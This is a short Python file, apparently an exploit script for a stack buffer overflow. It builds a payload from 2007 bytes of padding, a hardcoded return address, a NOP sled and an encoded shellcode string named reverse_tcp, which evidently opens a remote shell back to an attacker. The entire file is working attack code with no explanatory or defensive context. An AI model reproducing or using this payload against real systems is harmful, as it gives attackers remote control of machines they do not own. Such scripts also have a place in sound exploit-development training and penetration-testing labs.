shellcode.py

nopslade = "\x90" * 32
return_addr="\xA0\x12\x50\x62"
reverse_tcp = "\xd9\xc7\xbf\x34\x41\x3e\x34\xd9\x74\x24\xf4\x5e\x33\xc9\xb1\x52\x31\x7e\x17\x03\x7e\x17\x83\xda\xbd\xdc\xc1\xde\xd6\xa3\x2a\x1e\x27\xc4\xa3\xfb\x16\xc4\xd0\x88\x09\xf4\x93\xdc\xa5\x7f\xf1\xf4\x3e\x0d\xde\xfb\xf7\xb8\x38\x32\x07\x90\x79\x55\x8b\xeb\xad\xb5\xb2\x23\xa0\xb4\xf3\x5e\x49\xe4\xac\x15\xfc\x18\xd8\x60\x3d\x93\x92\x65\x45\x40\x62\x87\x64\xd7\xf8\xde\xa6\xd6\x2d\x6b\xef\xc0\x32\x56\xb9\x7b\x80\x2c\x38\xad\xd8\xcd\x97\x90\xd4\x3f\xe9\xd5\xd3\xdf\x9c\x2f\x20\x5d\xa7\xf4\x5a\xb9\x22\xee\xfd\x4a\x94\xca\xfc\x9f\x43\x99\xf3\x54\x07\xc5\x17\x6a\xc4\x7e\x23\xe7\xeb\x50\xa5\xb3\xcf\x74\xed\x60\x71\x2d\x4b\xc6\x8e\x2d\x34\xb7\x2a\x26\xd9\xac\x46\x65\xb6\x01\x6b\x95\x46\x0e\xfc\xe6\x74\x91\x56\x60\x35\x5a\x71\x77\x3a\x71\xc5\xe7\xc5\x7a\x36\x2e\x02\x2e\x66\x58\xa3\x4f\xed\x98\x4c\x9a\xa2\xc8\xe2\x75\x03\xb8\x42\x26\xeb\xd2\x4c\x19\x0b\xdd\x86\x32\xa6\x24\x41\xfd\x9f\x26\xb2\x95\xdd\x26\xb5\xde\x6b\xc0\xdf\x30\x3a\x5b\x48\xa8\x67\x17\xe9\x35\xb2\x52\x29\xbd\x31\xa3\xe4\x36\x3f\xb7\x91\xb6\x0a\xe5\x34\xc8\xa0\x81\xdb\x5b\x2f\x51\x95\x47\xf8\x06\xf2\xb6\xf1\xc2\xee\xe1\xab\xf0\xf2\x74\x93\xb0\x28\x45\x1a\x39\xbc\xf1\x38\x29\x78\xf9\x04\x1d\xd4\xac\xd2\xcb\x92\x06\x95\xa5\x4c\xf4\x7f\x21\x08\x36\x40\x37\x15\x13\x36\xd7\xa4\xca\x0f\xe8\x09\x9b\x87\x91\x77\x3b\x67\x48\x3c\x5b\x8a\x58\x49\xf4\x13\x09\xf0\x99\xa3\xe4\x37\xa4\x27\x0c\xc8\x53\x37\x65\xcd\x18\xff\x96\xbf\x31\x6a\x98\x6c\x31\xbf"

payload = "A" * 2007 + return_addr + nopslade + reverse_tcp